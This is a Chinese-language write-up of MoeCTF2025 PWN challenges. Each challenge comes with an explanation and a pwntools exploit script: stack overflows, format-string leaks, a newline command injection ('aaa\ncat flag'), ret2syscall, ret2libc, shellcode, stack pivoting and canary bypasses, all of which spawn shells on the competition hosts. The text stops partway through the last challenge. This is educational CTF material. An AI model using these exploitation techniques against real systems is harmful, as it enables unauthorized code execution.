MoeCTF2025-PWN方向做题笔记

0 二进制漏洞审计入门指北

解题思路

签到题,脚本都给我们写好了,运行一下就能得flag

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from pwn import *                                    # 导入 pwntools。
context(arch='amd64', os='linux', log_level='debug') # 一些基本的配置。

# 有时我们需要在本地调试运行程序,需要配置 context.terminal。详见入门指北。

# io = process('./pwn') # 在本地运行程序。
# gdb.attach(io) # 启动 GDB
io = connect("192.168.???.??", 51192) # 与在线环境交互。
io.sendline(b'114511') # 什么时候用 send 什么时候用 sendline?

payload = p32(0xdeadbeef) # p32(0xdeadbeef)、b"\xde\xad\xbe\xef"、b"deadbeef" 有什么区别?
# 你看懂原程序这里的检查逻辑了吗?
payload += b'shuijiangui' # strcmp

io.sendafter(b'password.', payload) # 发送!通过所有的检查。

io.interactive() # 手动接收 flag。

EZtext

解题思路

Ret2text,题目允许我们设置输入长度,则至少要设置覆盖到栈上得放回地址

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from pwn import *
context(os="linux", arch="amd64", log_level="debug")
#io = process("./pwn")
io = remote("192.168.???.??", 51978)
s = lambda data :io.send(data)
sa = lambda delim,data :io.sendafter(delim, data)
sl = lambda data :io.sendline(data)
sla = lambda delim,data :io.sendlineafter(delim, data)
r = lambda num :io.recv(num)
rl = lambda :io.recvline()
ru = lambda delims, drop=True :io.recvuntil(delims, drop)
ia = lambda :io.interactive()
ls = lambda data :log.success(data)
p = lambda :pause()
def debug():
gdb.attach(io)
pause()
ru(b"Then how many bytes do you need to overflow the stack?")
sl(b"24")
shell = 0x4011BB ## 错过push rbp,可以避免栈对齐问题
payload = b"\x00"*(0x10) + p64(shell)
s(payload)
ia()

ez_u64

解题思路

利用u64()和recv(),接受并解码即可,最后在发送出去就getshell了

EXP

1
2
3
4
5
6
7
8
9
from pwn import *
context(os="linux", arch="amd64", log_level="debug")

io = remote("192.168.???.??", 51115)
#io = process("./pwn")
io.recvuntil(b"Here is the hint.")
num = u64(io.recv(8))
io.sendline(str(num).encode())
io.interactive()

fmt

解题思路

题目利用generate()来生成由大小写字母组成得随机字符串,利用%s可以泄露s2_1,利用%p可以泄露s2

main()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
int __fastcall main(int argc, const char **argv, const char **envp)
{
char *s2_1; // [rsp+8h] [rbp-88h]
char s1[16]; // [rsp+10h] [rbp-80h] BYREF
char s2[16]; // [rsp+20h] [rbp-70h] BYREF
char s[88]; // [rsp+30h] [rbp-60h] BYREF
unsigned __int64 v8; // [rsp+88h] [rbp-8h]

v8 = __readfsqword(0x28u);
init(argc, argv, envp);
s2_1 = (char *)malloc(0x20uLL);
generate(s2, 5LL);
generate(s2_1, 5LL);
puts("Hey there, little one, what's your name?");
fgets(s, 80, stdin);
printf("Nice to meet you,");
printf(s);
puts("I buried two treasures on the stack.Can you find them?");
fgets(s1, 8, stdin);
if ( strncmp(s1, s2, 5uLL) )
lose();
puts("Yeah,another one?");
fgets(s1, 8, stdin);
if ( strncmp(s1, s2_1, 5uLL) )
lose();
win();
return 0;
}

可以通过gdb调试,借助fmtarg指令来确定参数位置

还可以通过计算得到,在 x86-64 中,前 6 个格式化字符串参数通过寄存器传递(rdi, rsi, rdx, rcx, r8, r9),第 7 个开始从栈上读取

在 x86-64 中,printf 的栈参数从 rsp+8 开始(因为 call printf 会将返回地址 rip 压栈,占 8 字节)。

s2_1距离rsp有 0x8 个字节,8个字节为一个参数位,位于 rsp+8,因此它是 第 7 个参数(因为栈参数从 rsp+8 开始,对应第 7 个)

1
char *s2_1; // [rsp+8h]

s2距离rap有0x20个字节 ,也就是 4 个0x8,4 + 6 = 10,所以s2printf的第10个参数

1
char s2[16]; // [rsp+20h]

得到的s2需要按照小端序解码

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
from pwn import *
context(os="linux", arch="amd64", log_level="debug")
io = process("./pwn")
#io = remote("192.168.???.??", 54902)
s = lambda data :io.send(data)
sa = lambda delim,data :io.sendafter(delim, data)
sl = lambda data :io.sendline(data)
sla = lambda delim,data :io.sendlineafter(delim, data)
r = lambda num :io.recv(num)
rl = lambda :io.recvline()
ru = lambda delims, drop=True :io.recvuntil(delims, drop)
ia = lambda :io.interactive()
ls = lambda data :log.success(data)
p = lambda :pause()
def debug():
gdb.attach(io)
pause()

def hex_to_bytes(hex_val):
byte_length = (hex_val.bit_length() + 7) // 8 # 确保正确计算字节数
bytes_data = hex_val.to_bytes(byte_length, byteorder='little', signed=False)
print(bytes_data)
return bytes_data

sla(b"name?", b"-%7$s-%10$p")
ru(b"-")
s1 = r(5)
print(s1)
ru(b"0x")
s2 = int(r(10), 16)
print(hex(s2))
s2_by = hex_to_bytes(s2)
#debug()
sla(b"Can you find them?", s2_by)
sla(b"Yeah,another one?", s1)
ia()

inject

解题思路

ping_host() 对用户输入做了不完全的过滤:check() 会拒绝一大堆危险字符(; & | > < $ ( ) { } [ ] ' " \ ! ~ *),但**没有禁止换行 \n**(也没有禁止空格、-等),而后面把用户输入放进一个通过system()` 执行的 shell 命令里:

1
2
_snprintf_chk(command, 32, 1, 32, "ping %s -c 4", buf);
system(command);

由于 shell 中换行是命令分隔符(相当于 ;),如果能把 \n 放进 %s,就可以把 ping … 后分隔出新的任意命令,从而实现命令注入并执行任意命令。

1
read(0, buf, 0xFuLL)` 从 stdin 读最多 15 字节到 `buf

之后用 strlen(buf) 得到长度并尝试把末尾的 \n 替换成 \0(那段通过 v2 旁移做 if (*(&v2 + v0) == 10) *(&v2 + v0) = 0;,本意是去掉换行)

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from pwn import *
context(os="linux", arch="amd64", log_level="debug")
io = process("./pwn")
io = remote("192.168.242.1", 58031)
s = lambda data :io.send(data)
sa = lambda delim,data :io.sendafter(delim, data)
sl = lambda data :io.sendline(data)
sla = lambda delim,data :io.sendlineafter(delim, data)
r = lambda num :io.recv(num)
rl = lambda :io.recvline()
ru = lambda delims, drop=False :io.recvuntil(delims, drop)
ia = lambda :io.interactive()
ls = lambda data :log.success(data)
p = lambda :pause()
def debug():
gdb.attach(io)
pause()
sla(b"choice: ", b"4")
sla(b"Enter host to ping:", b"aaa\ncat flag\n") ##第一个回车前不要用一个可以ping通的,执行失败后就会执行第二个回车前的命令
ia()

randomlock

解题思路

这是一道伪随机数的题目,孩子比较笨,逆不出随机数种子seed的生成逻辑,但是可以在gdb里动态调试程序,发现需要输入的10个 password依次为 9383、886、2777、6915、7793、8335、5386、492、6649、1421

位置在0x555555555562 <main+152> mov dword ptr [rbp - 0xc], eax此处可以发现password的值

以下是其中一个例子:password10

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from pwn import *
context(os="linux", arch="amd64", log_level="debug")
#io = process("./pwn")
io = remote("192.168.???.??", 51713)
s = lambda data :io.send(data)
sa = lambda delim,data :io.sendafter(delim, data)
sl = lambda data :io.sendline(data)
sla = lambda delim,data :io.sendlineafter(delim, data)
r = lambda num :io.recv(num)
rl = lambda :io.recvline()
ru = lambda delims, drop=True :io.recvuntil(delims, drop)
ia = lambda :io.interactive()
ls = lambda data :log.success(data)
p = lambda :pause()
def debug():
gdb.attach(io)
pause()

password = [9383,886,2777,6915,7793,8335,5386,492,6649,1421]
for i in range(10):
sla(b"password", str(password[i]).encode())
ia()

str_check

解题思路

str类函数:例如strcpy、strcat、strcmp、strlen等函数会被\x00截断

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from pwn import *
context(os="linux", arch="amd64", log_level="debug")
#io = process("./pwn")
io = remote("192.168.???.??", 51927)
s = lambda data :io.send(data)
sa = lambda delim,data :io.sendafter(delim, data)
sl = lambda data :io.sendline(data)
sla = lambda delim,data :io.sendlineafter(delim, data)
r = lambda num :io.recv(num)
rl = lambda :io.recvline()
ru = lambda delims, drop=True :io.recvuntil(delims, drop)
ia = lambda :io.interactive()
ls = lambda data :log.success(data)
p = lambda :pause()
def debug():
gdb.attach(io)
pause()

backdoor = 0x40123E
payload = b"meow" + b"\x00"*(0x24) + p64(backdoor)
sla(b"What can u say?", payload)
sla(b"So,what size is it?", b"256")
ia()

syslock

解题思路

题型为ret2syscall,变量is都位于bss段上,并且i紧邻着s,位于s的上方,对i输入负数,即可在

1
read(0, (char *)&s + i, 0xCuLL);

这一步进行负数前溢出,改i为59,并写入/bin/sh\x00(为下一步的系统调用 execve(/bin/sh,0,0) 准备参数)

顺便附上全部函数的系统调用号参考:https://syscalls.mebeim.net/?table=x86/64/x64/latest

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from pwn import *
context(os="linux", arch="amd64", log_level="debug")
#io = process("./pwn")
io = remote("192.168.???.??", 60740)
s = lambda data :io.send(data)
sa = lambda delim,data :io.sendafter(delim, data)
sl = lambda data :io.sendline(data)
sla = lambda delim,data :io.sendlineafter(delim, data)
r = lambda num :io.recv(num)
rl = lambda :io.recvline()
ru = lambda delims, drop=True :io.recvuntil(delims, drop)
ia = lambda :io.interactive()
ls = lambda data :log.success(data)
p = lambda :pause()
def debug():
gdb.attach(io)
pause()
pop_rdi_rsi_rdx = 0x401240
syscall = 0x401230
pop_rax = 0x401244
bss = 0x404084
sla(b"choose mode", b"-32")
sa(b"Input your password", b"\x3B\x00\x00\x00" + b"/bin/sh\x00") ##以小端序的形式写入59才行,并且此处刚好0xC个字节,注意不要用sendline()
payload = b"\x00"*(0x48) + p64(pop_rdi_rsi_rdx) + p64(bss) + p64(0)*2 + p64(pop_rax) + p64(0x3b) + p64(syscall)
sla(b"Developer Mode.\n", payload)
ia()

eazylibc

解题思路

这个题的题型是ret2libc,但它着重考察了函数动态链接与延迟绑定,附件开启了ASLR(地址空间布局随机化)和PIE(位置无关可执行文件)**,第一次打印&read时,程序还未有调用过read()函数,初次调用函数,先从 plt表跳转到read@got(got表中 read 的地址),此时read@got里存储的是read@plt表的地址,所以会打印read@plt的地址,也就是IDA程序中的0x1060处的真实地址,即可得到程序的pie

我们覆盖返回地址为main(),程序会再次打印&read,还是先从 plt表跳转到read@got,这下read@got存储的read()的真实地址,这下就会给出read()的真实地址,即可得到libc_base,再打正常的ret2libc就好。

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
from pwn import *
context(os="linux", arch="amd64", log_level="debug")
#io = process("./pwn")
io = remote("192.168.???.??", 51595)
s = lambda data :io.send(data)
sa = lambda delim,data :io.sendafter(delim, data)
sl = lambda data :io.sendline(data)
sla = lambda delim,data :io.sendlineafter(delim, data)
r = lambda num :io.recv(num)
rl = lambda :io.recvline()
ru = lambda delims, drop=True :io.recvuntil(delims, drop)
ia = lambda :io.interactive()
ls = lambda data :log.success(data)
p = lambda :pause()
def debug():
gdb.attach(io)
pause()
elf = ELF("./pwn")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
ru(b"How can I use 0x")
addr = int(r(12), 16)
ls(hex(addr))
#debug()
pie = addr - 0x1060
ls(hex(pie))
main = 0x11D3 + pie
pad = b"\x00"*(0x28) + p64(main)
sa(b"Damn!", pad)
ru(b"How can I use 0x")
addr = int(r(12), 16)
ls(hex(addr))
libc_base = addr - libc.sym["read"]
ls(hex(libc_base))
libc.address = libc_base
pop_rdi = next(libc.search(asm("pop rdi; ret;")))
system = libc.sym['system']
bin_sh = next(libc.search(b'/bin/sh\x00'))
payload = b"\x00"*(0x28) + p64(pop_rdi + 1) + p64(pop_rdi) + p64(bin_sh) + p64(system)
sla(b"Damn!", payload)

ia()

ezshellcode

解题思路

前置基础

控制程序执行shellcode代码,shellcode指的是用于完成某个功能的汇编代码,常见的功能主要是获取目标系统的shell,或者open read write获取并输出flag,通常情况下shellcode需要我们自行编写,即向内存中填充一些可执行的代码

前提条件:shellcode所在的区域具有可执行权限

还可以了解一下mprotect()函数,mprotect 是一个非常重要的系统调用,用于修改内存区域的访问权限。在你提供的代码中,它被用来改变之前通过 mmap 分配的内存区域的权限。

函数原型:

1
2
3
#include <sys/mman.h>

int mprotect(void *addr, size_t len, int prot);

参数解释:

  1. void \*addr (s 在代码中)
    • 要修改权限的内存区域的起始地址
    • 必须是页对齐的(通常是4096字节的倍数)
    • 在代码中,这是 mmap 返回的地址 s
  2. size_t len (0x1000uLL 在代码中)
    • 要修改的内存区域长度(字节数)
    • 代码中设置为 0x1000(4096字节,即一页大小)
    • 同样需要页对齐
  3. int prot (prot 在代码中)
    • 新的保护权限标志,通过位或(|)组合:
      • PROT_READ (1): 可读
      • PROT_WRITE (2): 可写
      • PROT_EXEC (4): 可执行
    • 代码中 prot 的值取决于用户的选择

在题目中:

1
2
3
4
if (mprotect(s, 0x1000uLL, prot) == -1) {
perror("mprotect");
exit(1);
}
  1. 修改 s 指向的内存区域(大小为4096字节)的权限
  2. 新权限由我们选择的 prot 值决定
  3. 如果失败(返回-1),打印错误并退出

每个选项对应不同的内存权限组合:

  • 1: PROT_READ (1)
  • 2: PROT_READ|PROT_WRITE (3)
  • 3: PROT_READ|PROT_EXEC (5)
  • 4: PROT_READ|PROT_WRITE|PROT_EXEC (7)

为什么PROT_READ=1,PROT_WRITE = 2, PROT_EXEC = 4?

涉及到位掩码的基本原理,简单来说:在计算机中,单个整数的每个二进制位可以独立表示一个布尔状态(0/1)。通过为每种权限分配一个独立的二进制位,可以实现权限的组合与检查:

权限 二进制值 十进制值
PROT_READ 001 1
PROT_WRITE 010 2
PROT_EXEC 100 4
  • 每个权限对应一个 唯一的二进制位,互不重叠。
  • 通过 按位或(| 组合权限

EXP

1
2
3
4
5
6
7
8
9
10
from pwn import *
context(os="linux", arch="amd64", log_level="debug")
io = remote("192.168.???.??", 50547)
#io = process("./pwn")
io.recvuntil(b"Choose wisely!\n")
io.sendline(b"4")
shellcode = shellcraft.sh() ##生成可以getshell的机器码
io.recvuntil(b"think about the permissions you just set.\n")
io.sendline(asm(shellcode)) ## 使用asm()将汇编代码转换为对应的机器码
io.interactive()

find it

解题思路

在 Linux 中,每个进程都会维护一个 fd 表,本质是指向内核的打开文件对象。

  • 默认情况下:
    • 0stdin(标准输入)
    • 1stdout(标准输出)
    • 2stderr(标准错误)

当我们调用 dup(1) 时,系统会找到 最小的未使用的 fd,复制一份 stdout,并返回它。
一般来说,新分配的第一个空闲 fd 就是 3

fd 的分配原则:从最小未使用的整数开始递增。

dup():复制一个现有 fd(共享同一文件对象),返回新的最小可用 fd。

close():释放该 fd,之后新的 open/dup 可以复用。

程序刚开始在使用的fd有 0、1、2

经过复制

1
fd = dup(1);

1\3就可以共同表示标准输出

标准输出和标准报错才会在我们的终端上有输出

然后释放

1
close(1);

此时,数字1就未被文件描述符fd使用,打开一个新文件,程序会使用一个当前未被使用的最小整数,来作为新文件的文件描述符fd

1
open(file, 0);

打开了一个文件,需要一个新的文件描述符来表示它,这是一种一对一关系,优先选取当前最小未使用的整数,也就是前面被释放的1

1
read(fd2, &buf, 0x50uLL);

从对应文件(fd2处于文件描述符的位置,它被用来表示哪个文件,read就读取哪个文件)里读入0x50个字节到buf

EXP

1
2
3
4
5
6
7
8
9
╭─icyice@icyice-virtual-machine ~/Desktop/MoeCTF/2025 
╰─$ nc 192.168.???.?? 51138
I've hidden the fd of stdout. Can you find it?
3
You are right.What would you like to see?
flag
What is its fd?
1
moectf{FIND_the-HIDDeN-fD17a898463da}

认识libc

解题思路

ret2libc,直接得到printf_addr,算出libc_base,需要的一切在glibc里找,比如pop_rdi_ret/bin/sh\x00system

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from pwn import *
context(os="linux", arch="amd64", log_level="debug")
#io = process("./pwn")
io = remote("192.168.???.??", 49770)
s = lambda data :io.send(data)
sa = lambda delim,data :io.sendafter(delim, data)
sl = lambda data :io.sendline(data)
sla = lambda delim,data :io.sendlineafter(delim, data)
r = lambda num :io.recv(num)
rl = lambda :io.recvline()
ru = lambda delims, drop=True :io.recvuntil(delims, drop)
ia = lambda :io.interactive()
ls = lambda data :log.success(data)
p = lambda :pause()
def debug():
gdb.attach(io)
pause()
elf = ELF("./pwn")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
ru(b"'printf': 0x")
printf_addr = int(r(12), 16)
libc_base = printf_addr - libc.sym['printf']
ls(hex(libc_base))
libc.address = libc_base
pop_rdi = next(libc.search(asm("pop rdi; ret;")))
bin_sh = next(libc.search(b"/bin/sh\x00"))
system = libc.sym['system']
payload = b"\x00"*(0x48) + p64(pop_rdi + 1) + p64(pop_rdi) + p64(bin_sh) + p64(system)
sla(b"> ", payload)
ia()

boom

解题思路

输入 y ,是得 v6 =1 && canary = canary;。v6 = 1即可进行栈溢出,用 \x00填满栈空间,虽然修改了 canary 但覆盖 v6 = 0,不进入

1
2
3
4
5
if ( v6 && canary != canary )
{
puts("Security check failed!");
exit(1);
}

有后门函数win(),就是ret2text

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from pwn import *
context(os="linux", arch="amd64", log_level="debug")
#io = process("./pwn")
io = remote("192.168.???.??", 54549)
s = lambda data :io.send(data)
sa = lambda delim,data :io.sendafter(delim, data)
sl = lambda data :io.sendline(data)
sla = lambda delim,data :io.sendlineafter(delim, data)
r = lambda num :io.recv(num)
rl = lambda :io.recvline()
ru = lambda delims, drop=False :io.recvuntil(delims, drop)
ia = lambda :io.interactive()
ls = lambda data :log.success(data)
p = lambda :pause()
def debug():
gdb.attach(io)
pause()
sla(b"Do you want to brute-force this system? (y/n)", b"y")
win = 0x40127E
payload = b"\x00"*(0x98) + p64(win)
sl(payload)
ia()

boom_revenge

解题思路

输入 y ,是得 v6 =1 && canary = canary;。v6 = 1即可进行栈溢出,但是canary不能修改,必须覆盖相同的值才能避免exit(1),这就要会生成伪随机数了

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
from pwn import *
from ctypes import *
import time
context(os="linux", arch="amd64", log_level="debug")
#io = process("./pwn")
io = remote("192.168.???.??", 65138)
s = lambda data :io.send(data)
sa = lambda delim,data :io.sendafter(delim, data)
sl = lambda data :io.sendline(data)
sla = lambda delim,data :io.sendlineafter(delim, data)
r = lambda num :io.recv(num)
rl = lambda :io.recvline()
ru = lambda delims, drop=False :io.recvuntil(delims, drop)
ia = lambda :io.interactive()
ls = lambda data :log.success(data)
p = lambda :pause()
def debug():
gdb.attach(io)
pause()
libc = cdll.LoadLibrary("libc.so.6")
seed = int(time.time())
libc.srand(seed)
sla(b"Do you want to brute-force this system? (y/n)", b"y")
win = 0x40127E
canary = libc.rand() % 114514
payload = b"\x00"*(0x7C) + p64(canary) + b"\x00"*(0xc + 8) + p64(win)
sla(b"Enter your message:", payload)
ia()

ezpivot

解题思路

打法就是栈迁移,但我刚开始遇到一个问题:system会崩

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
 RAX  0
RBX 0x404078 (desc+24) ◂— 0x68732f6e69622f /* '/bin/sh' */
RCX 0x797119b147e2 (read+18) ◂— cmp rax, -0x1000 /* 'H=' */
RDX 1
RDI 0x404078 (desc+24) ◂— 0x68732f6e69622f /* '/bin/sh' */
RSI 0x7ffd41daa3c4 ◂— 0
R8 0x26
R9 0
R10 0x797119bbeac0 (_nl_C_LC_CTYPE_toupper+512) ◂— 0x100000000
R11 0x246
R12 0x7ffd41daa4e8 —▸ 0x7ffd41dac225 ◂— 0x5953006e77702f2e /* './pwn' */
R13 0x797119c1c7a0 (quit) ◂— 0
R14 0x797119c1c840 (intr) ◂— 0
R15 0x797119d77040 (_rtld_global) —▸ 0x797119d782e0 ◂— 0
RBP 0
RSP 0x403cb8 ◂— 0
RIP 0x797119a50948 (do_system+72) ◂— mov dword ptr [rsp + 0x18], 0xffffffff
──────────────────────────────────[ DISASM / x86-64 / set emulate on ]───────────────────────────────────
► 0x797119a50948 <do_system+72> mov dword ptr [rsp + 0x18], 0xffffffff [0x403cd0] <= 0xffffffff
0x797119a50950 <do_system+80> mov qword ptr [rsp + 0x180], 1 [_DYNAMIC+128] <= 1
0x797119a5095c <do_system+92> mov dword ptr [rsp + 0x208], 0 [_DYNAMIC+264] <= 0
0x797119a50967 <do_system+103> mov qword ptr [rsp + 0x188], 0 [_DYNAMIC+136] <= 0
0x797119a50973 <do_system+115> movaps xmmword ptr [rsp], xmm1 <[0x403cb8] not aligned to 16 bytes>
0x797119a50977 <do_system+119> lock cmpxchg dword ptr [rip + 0x1cbe01], edx

原因是在 do_system+72 处,当尝试向 rsp + 0x18 写入数据时失败。从寄存器状态可以看到 RSP = 0x403cb8,这个地址不属于bss段了,不可写。

还有一个小问题是栈对齐问题:错误信息中显示 movaps xmmword ptr [rsp], xmm1 时提示 [0x403cb8] not aligned to 16 bytes,说明栈指针没有16字节对齐,而SSE指令要求内存操作数必须对齐

题目中的 introduce(),在这步我们可以在bss段上布局我们设计好的新栈,但nbytes被限制<=32(这一步的判断在main()中),想要绕过,就要用的int有符号整数与unsigned int无符号整数之间的转换问题了,这里不过多介绍,绕过方法就是nbytes = -1(是负数即可)

1
2
3
4
5
int __fastcall introduce(unsigned int nbytes)
{
read(0, &desc, nbytes);
return puts("Ok,we got your introduction!");
}

&desc位于0x404060,这个地址太低了,且system需要很大的栈空间,如果将栈迁移到这里就会遇到system崩掉的问题,解决方法就是通过大量ret来填充bss空间,抬高我们设计的新栈地址

bss段的空间 pivot
0x404060 “/bin/sh\x00”
0x404068 ret
……. ……(全是ret)
0x404760 ret(我们后面迁移的位置,新栈从这开始)
0x404768 pop_rdi
0x404770 0x404060(/bin/sh的地址)
0x404778 system

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
from pwn import *
import time
context(os="linux", arch="amd64", log_level="debug")
#io = process("./pwn")
io = remote("192.168.???.??", 65236)
s = lambda data :io.send(data)
sa = lambda delim,data :io.sendafter(delim, data)
sl = lambda data :io.sendline(data)
sla = lambda delim,data :io.sendlineafter(delim, data)
r = lambda num :io.recv(num)
rl = lambda :io.recvline()
ru = lambda delims, drop=True :io.recvuntil(delims, drop)
ia = lambda :io.interactive()
ls = lambda data :log.success(data)
p = lambda :pause()
def debug():
gdb.attach(io)
pause()
elf = ELF("./pwn")
pop_rdi = 0x401219
ret = 0x40101a
bss = 0x404060
system = elf.plt['system']
#system = 0x401230
leave_ret = 0x40120f
sla(b"Before that,you need to tell us the length of your introduction.", b"-1")
sleep(0.3) # 注意如果脚本此处不能停顿一下,b"-1"会和pivot一起发出去
pivot = b"/bin/sh\x00" + p64(ret)*(0xE1) + p64(pop_rdi) + p64(bss) + p64(system)
#debug()
s(pivot)
payload = b"\x00"*(0xc) + p64(bss + 0x700) + p64(leave_ret)
sa(b"Now, please tell us your phone number:", payload)
ia()

xdulaker

解题思路

存在栈空间复用,或者说是栈重叠。至于为什么,个人理解就是:

  • 函数调用时,rsp 向下挪一段空间,给局部变量用。
  • 函数返回时,rsp 回到原来位置。
  • 栈里的数据不会被清零,只是“指针”回来了。

所以:下一个函数调用时,如果分配的空间跟上一个差不多,就会落在同一片物理内存上。

1
2
3
push rbp
mov rbp, rsp
sub rsp, <栈空间大小>
题目中
  • photo() 定义了:

    1
    char buf[80];  // 占 0x50 字节
  • laker() 定义了:

    1
    char s1[48];   // 占 0x30 字节
  • 编译器分配栈空间的时候,局部变量都放在 rbp 附近,比如:

    1
    2
    photo: buf 在 rbp-0x50
    laker: s1 在 rbp-0x30
  • 两个函数在调用时都在 同一个 main() 循环里 被执行,栈的增长幅度差不多,所以 s1 的地址就落在了 buf 原来那块区域里。

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
from pwn import *
context(os="linux", arch="amd64", log_level="debug")
io = process("./pwn")
#io = remote("192.168.???.??", 62513)
s = lambda data :io.send(data)
sa = lambda delim,data :io.sendafter(delim, data)
sl = lambda data :io.sendline(data)
sla = lambda delim,data :io.sendlineafter(delim, data)
r = lambda num :io.recv(num)
rl = lambda :io.recvline()
ru = lambda delims, drop=True :io.recvuntil(delims, drop)
ia = lambda :io.interactive()
ls = lambda data :log.success(data)
p = lambda :pause()
def debug():
gdb.attach(io)
pause()
elf = ELF("./pwn")
sla(b">", b"1")
ru(b"Thanks,I'll give you a gift:0x")
pie = int(r(12), 16) - 0x4010
ls(hex(pie))
backdoor = pie + 0x124E
sla(b">", b"2")
#debug()
payload = b"xdulaker"*(0x8)
sla(b"Hey,what's your name?!", payload)
sla(b">", b"3")
pad = b"\x00"*(0x38) + p64(backdoor)
sla(b"welcome,xdulaker", pad)
ia()

ezprotection

解题思路

题目存在后门函数backdoor(),开启了Canary和PIE保护,并且允许两次栈溢出,第一次覆盖Canary的最低一个字节使puts()打印出Canary,第二次就可以

通过pie保护绕过方法中的部分写入,backdoor()中还有一个随机数检验,虽然是真随机,但可以不管,直接跳转到 if语句部分执行读取并打印flag即可(注意跳转这一步需要去“撞”,需要多试几次,1/15的成功率)

  • canary以”\x00”结束,字符串在C语言中以 \x00 作为终止符号,在使用堆栈金丝雀进行栈保护时,通常会将金丝雀的一个字节设为 \x00(也就是0字节)。这是因为很多缓冲区溢出攻击依赖于字符串操作函数(如 strcpy、gets、sprintf 等),这些函数在遇到 \x00 时会终止复制或输入。因此,canary 包含 \x00 能有效地检测和阻止大多数基于字符串操作的缓冲区溢出攻击。
  • 其次部分写入和linux分页机制有关,pie保护开启后最后12位不会发生变化,对应3位16进制数字

(本着有好文就不用自己写的原则【我就是懒不可以吗】,直接引用C0trick师傅的的WP文章列表 | NSSCTF

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from pwn import *
context(os="linux", arch="amd64", log_level="debug")
#io = process("./pwn")
io = remote("192.168.???.??", 55214)
s = lambda data :io.send(data)
sa = lambda delim,data :io.sendafter(delim, data)
sl = lambda data :io.sendline(data)
sla = lambda delim,data :io.sendlineafter(delim, data)
r = lambda num :io.recv(num)
rl = lambda :io.recvline()
ru = lambda delims, drop=True :io.recvuntil(delims, drop)
ia = lambda :io.interactive()
ls = lambda data :log.success(data)
p = lambda :pause()
def debug():
gdb.attach(io)
pause()
elf = ELF("./pwn")
sa(b"over you.", b"a"*(0x19))
ru(b"a"*(0x19))
canary = u64(r(7).rjust(8, b'\x00'))
ls(hex(canary))
#debug()
shell = 0x128C ## 在IDA里可以找到,这是open()函数开始调用的地方
payload = b"a"*(0x18) + p64(canary) + b"a"*(8) + p16(shell)
sa(b"anyway.", payload)
ia()

hardpivot

解题思路

修改rbp,让 read() 读入的数据到 bss 段上,再利用leave ret就完成了栈的迁移,栈迁移多多注意 rbp和 rsp 的变化就对了。

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
from pwn import *
context(os="linux", arch="amd64", log_level="debug")
#io = process("./pwn")
io = remote("192.168.???.??", 51204)
#libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
elf = ELF("./pwn")
libc = ELF("./libc.so.6")
s = lambda data :io.send(data)
sa = lambda delim,data :io.sendafter(delim, data)
sl = lambda data :io.sendline(data)
sla = lambda delim,data :io.sendlineafter(delim, data)
r = lambda num :io.recv(num)
rl = lambda :io.recvline()
ru = lambda delims, drop=False :io.recvuntil(delims, drop)
ia = lambda :io.interactive()
ls = lambda data :log.success(data)
p = lambda :pause()
def debug():
gdb.attach(io)
pause()

bss = 0x404a00
pop_rdi = 0x40119e
leave_ret = 0x40127b
ru(b"> ")
read = 0x401264
payload = b"\x00"*(0x40) + p64(bss + 0x40) + p64(read)
s(payload)
read_got = 0x404028
puts_plt = 0x401074
pad = p64(bss + 0x40 + 0x28) + p64(pop_rdi) + p64(read_got) + p64(puts_plt) + p64(read)
pad = pad.ljust(0x40, b"\x00") + p64(bss) + p64(leave_ret)
#debug()
s(pad)
#libc_base = int(r(12), 16) - libc.sym['puts']
libc_base = u64(r(6).ljust(8, b"\x00")) - libc.sym['read'] # 0x1147d0
ls(hex(libc_base))
bin_sh = next(libc.search(b"/bin/sh\x00")) + libc_base
system = libc.sym['system'] + libc_base
pay = p64(pop_rdi+1) + p64(pop_rdi) + p64(bin_sh) + p64(system)
pay = pay.ljust(0x40, b"\x00") + p64(bss + 0x28) + p64(leave_ret)
s(pay)
ia()

fmt_S

解题思路

首先是main()对格式化字符串利用次数的限制,限制了flag == 0且i<=3

1
2
3
4
5
6
for ( i = 1; i <= 3 && !flag; ++i )
talk();
__int64 talk()
{
puts("You start talking to him...");
flag ^= 1u;

想要将flag一直为 0,需要利用 my_read()中的 off_by_null,由于 atk就紧邻着在flag的上方,所以只需要输入”a”*8,将atk填满即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
return my_read(&atk, 8LL);
}
size_t __fastcall my_read(_BYTE *buf, size_t nbytes)
{
buf[read(0, buf, nbytes)] = 0;
return strlen(buf);
}
.bss:00000000004040A0 public atk
.bss:00000000004040A0 ; _BYTE atk
.bss:00000000004040A0 atk dq ? ; DATA XREF: talk+7A↑o
.bss:00000000004040A0 ; main:loc_4013BE↑r
.bss:00000000004040A8 public flag
